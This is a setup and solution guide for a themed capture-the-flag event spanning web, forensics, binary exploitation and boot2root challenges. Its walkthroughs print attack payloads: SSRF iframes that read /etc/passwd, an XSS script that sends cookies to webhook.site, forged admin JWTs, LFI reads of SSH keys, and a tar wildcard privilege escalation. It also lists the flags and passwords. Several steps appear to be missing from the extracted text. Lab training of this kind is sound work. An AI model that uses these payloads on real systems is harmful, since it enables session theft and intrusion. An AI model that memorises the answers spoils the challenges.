Guide
Guide
Introduction
This document provides comprehensive setup instructions and detailed walkthroughs for the CCOE Capture The Flag (CTF) challenges. These challenges span
multiple security domains and difficulty levels, offering participants opportunities to develop and test their cybersecurity skills in a controlled environment.
Each challenge has been designed with specific learning objectives and follows a thematic approach centered around paranormal investigations, creating an
engaging and cohesive experience across different security domains.
Challenge Categories
Web Application Security : Challenges focusing on common web vulnerabilities and attack vectors
Digital Forensics: Challenges involving the analysis of digital artifacts to uncover hidden information
Binary Exploitation (Pwn): Challenges centered on exploiting vulnerabilities in compiled applications
Boot2Root: System penetration and privilege escalation challenges in simulated environments
Environment Requirements
To successfully set up and complete these challenges, the following base requirements are needed:
Web Challenges
Difficulty: Easy
Category: Web Application Security
Tags : #SSRF #PDF-Generation #HTML-Injection
Flag Format: ctf{SSRF_PDF_1fr4m3_vuln3r4b1l1ty}
Description
A web application that converts HTML content to PDF contains a Server-Side Request Forgery vulnerability. Participants must identify and exploit this vulnerability to
access internal resources and retrieve the flag.
Setup Instructions
cd Web/Challenge\ 1/
docker-compose up -d
Challenge Walkthrough
1. The website presents a simple interface where users can input HTML to be converted to PDF
2. Analyze the application's behavior and how it processes HTML
3. Identify that the application renders HTML including iframes before generating the PDF
4. Craft a payload using an iframe to access internal resources:
<iframe src="file:///etc/passwd"></iframe>
<iframe src="file:///var/www/flag.txt"></iframe>
Security Concepts
Server-Side Request Forgery (SSRF)
File protocol exploitation
HTML injection vectors
PDF generation security issues
Difficulty: Medium
Category: Web Application Security
Tags : #JWT #Authentication-Bypass #Cryptography
Flag Format: ctf{w34k_JWT_s3cr3t_l3d_to_1mp3rs0n4t10n}
Description
A web application uses JSON Web Tokens (JWT) for authentication, but the implementation has critical flaws. Participants must analyze the JWT implementation,
identify weaknesses, and forge a valid admin token to gain access to protected resources.
Setup Instructions
cd Web/Challenge\ 2/
docker-compose up -d
Challenge Walkthrough
5. Use the discovered secret to forge a new JWT token with admin privileges
{
"alg": "HS256",
"typ": "JWT"
}
{
"username": "admin",
"role": "admin",
"exp": 1693513321
}
Security Concepts
Difficulty: Hard
Category: Web Application Security
Tags : #XSS #CSRF #Session-Hijacking
Flag Format: flag{xss_c4n_l34d_t0_4dm1n_t4k30v3r}
Description
A website with a contact form sends submitted messages to an admin review panel. A bot simulating an admin regularly reviews these messages. Participants must
craft a Cross-Site Scripting (XSS) payload that steals the admin's authentication token when they view the message.
Setup Instructions
cd Web/Challenge\ 3/
docker-compose up -d
Challenge Walkthrough
https://webhook.site/your-unique-id
<script>
fetch('https://webhook.site/your-unique-id?cookie='+document.cookie)
</script>
Security Concepts
Forensic Challenges
Difficulty: Easy
Category: Digital Forensics
Tags : #File-Forensics #Data-Recovery #File-Headers
Flag: flag{gh0stly_h34d3r_h4ck}
Description
A paranormal investigator found a strange image during their last ghost hunt, but it seems to be corrupted. They believe the image contains evidence of supernatural
activity, but their computer can't open it properly. Participants must repair the damaged file to reveal the hidden flag.
Files Provided
Challenge Walkthrough
2. Compare the file header with the standard PNG signature, which should be:
89 50 4E 47 0D 0A 1A 0A
3. Notice that the first 8 bytes (file signature) are incorrect or corrupted
Difficulty: Medium
Category: Digital Forensics
Tags : #Memory-Forensics #Password-Recovery #Windows-Forensics
Flag: flag{t00simpl3chall}
Description
A memory dump from a computer in an abandoned security office needs to be analyzed. Participants must extract credentials from the memory dump and use them
to access hidden information within the system.
Files Provided
Challenge Walkthrough
1. Use memory forensics tools like Volatility or pypykatz to extract credential information:
e4363571e5b2341e0da118fad002abb2
Security Concepts
Difficulty: Hard
Category: Digital Forensics
Tags : #Network-Forensics #Cryptography #Steganography #PCAP-Analysis
Flag: flag{sp3ctr4l_p4ck3t_4n4lys1s}
Description
During a paranormal investigation at an abandoned server room, network traffic was captured that appears to contain encrypted communications between an
unknown entity and devices in the network. Participants must analyze this network traffic and uncover the hidden spectral message.
Files Provided
Challenge Walkthrough
2. Extract encoded data from DNS queries with sequence numbers (s1-, s2-, etc.) to hauntednode.local:
tshark -r spectral_capture.pcap -Y "dns.qry.name contains hauntednode.local" -T fields -e dns.qry.name
3. Reorder the extracted data by sequence number and decode the hex values to get the password:
ghost_hunter_password
5. Extract encrypted data from ICMP packets with the GHOSTDATA marker:
6. Decrypt the data using AES-256-CBC with the password and IV:
password = "ghost_hunter_password"
iv = b"spookyghostivxxx"
key = hashlib.sha256(password.encode()).digest()
Security Concepts
Pwn Challenges
Difficulty: Easy
Category: Binary Exploitation
Tags : #BufferOverflow #Stack #Return-Oriented-Programming
Flag Format: ctf{buffer_0verfl0w_r3t2w1n}
Description
A simple binary with a buffer overflow vulnerability that allows redirecting execution to a win function. Participants must craft an exploit to trigger the vulnerability and
call the function that prints the flag.
Setup Instructions
cd Pwn/Challenge\ 1/
docker-compose up -d
Challenge Walkthrough
Security Concepts
Difficulty: Medium
Category: Binary Exploitation
Tags : #ROP #NX-Bypass #ASLR-Bypass
Flag Format: ctf{r0p_ch41n_3xpl01t}
Description
A binary with stack protection and non-executable stack requires a more sophisticated Return-Oriented Programming (ROP) approach. Participants must chain
together existing code snippets (gadgets) to bypass these protections and call the system function to read the flag.
Setup Instructions
cd Pwn/Challenge\ 2/
docker-compose up -d
Challenge Walkthrough
checksec --file=rop_challenge
# Interactive shell
conn.interactive()
6. Run the exploit to get a shell and retrieve the flag: ctf{r0p_ch41n_3xpl01t}
Security Concepts
Difficulty: Hard
Category: Binary Exploitation
Tags : #Heap #UAF #Double-Free
Flag Format: ctf{us3_4ft3r_fr33_h34p_pwn}
Description
A binary with a heap-based vulnerability that allows manipulating memory allocator metadata. Participants must exploit a use-after-free or double-free vulnerability to
achieve arbitrary code execution and retrieve the flag.
Setup Instructions
cd Pwn/Challenge\ 3/
docker-compose up -d
Challenge Walkthrough
checksec --file=heap_challenge
# Example sequence
allocate(0, 24, "AAAA") # Create chunk A
allocate(1, 24, "BBBB") # Create chunk B
free(0) # Free chunk A
def free(idx):
conn.sendlineafter("> ", "2")
conn.sendlineafter("Index: ", str(idx))
def use(idx):
conn.sendlineafter("> ", "3")
conn.sendlineafter("Index: ", str(idx))
Security Concepts
Boot2Root Challenges
Difficulty: Easy
Category: Boot2Root
Tags : #Web-Enumeration #SSH #SUID #Privilege-Escalation
Flag: flag{sp3ctral_pr1v1leg3_3scalat1on}
Description
A web server in an abandoned data center appears to be controlled by a ghostly entity. Participants must enumerate the server, find hidden information to gain initial
access, and then escalate privileges to capture the flag.
Setup Instructions
cd Boot2Root/Challenge\ 1/
docker-compose up -d
The web server will be accessible at http://localhost:80, and SSH will be available on port 22.
Challenge Walkthrough
2. Discover the web server running on port 80 and explore the website
ssh specter@target_ip
# Password: Gh0stHunt3r!
sudo -l
find / -perm -u=s -type f 2>/dev/null
8. Discover that the find command has the SUID bit set
cat /root/flag.txt
Security Concepts
Difficulty: Medium
Category: Boot2Root
Tags : #LFI #SSH-Keys #Wildcard-Exploitation #Sudo
Flag: flag{gh0st_hunt3r_LFI_t0_RCE}
Description
The Paranormal Investigation Agency website contains a Local File Inclusion vulnerability. Participants must exploit this vulnerability to gain initial access via SSH,
then escalate privileges by exploiting a wildcard in a tar command that runs with sudo permissions.
Setup Instructions
cd Boot2Root/Challenge\ 2/
docker-compose up -d
The web application will be accessible at http://localhost:80, and SSH will be available on port 2222.
Challenge Walkthrough
1. Explore the Paranormal Investigation Agency website and identify the vulnerable file viewer:
http://localhost/viewer.php?file=welcome.txt
http://localhost/viewer.php?file=/etc/passwd
http://localhost/viewer.php?file=/home/ghosthunter/.ssh/id_rsa
or
http://localhost/viewer.php?file=/root/ghosthunter_id_rsa
sudo -l
cat ~/backup_note.txt
7. Discover that the user can run tar with sudo privileges using a wildcard:
cd /tmp
echo '#!/bin/bash' > shell.sh
echo 'cat /root/flag.txt > /tmp/flag.txt' >> shell.sh
echo 'chmod 644 /tmp/flag.txt' >> shell.sh
chmod +x shell.sh
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"
sudo tar -cf /backups/backup.tar *
cat /tmp/flag.txt
Security Concepts
Conclusion
This documentation provides detailed setup instructions and walkthroughs for all challenges in the CCOE CTF competition. Each challenge has been carefully
designed to teach specific security concepts within an engaging paranormal investigation theme.
The challenges progress in difficulty from easy to hard within each category, allowing participants to build their skills incrementally. The solutions provided here
should only be used for educational purposes, competition setup, or as a reference after attempting the challenges.
Clean Up Instructions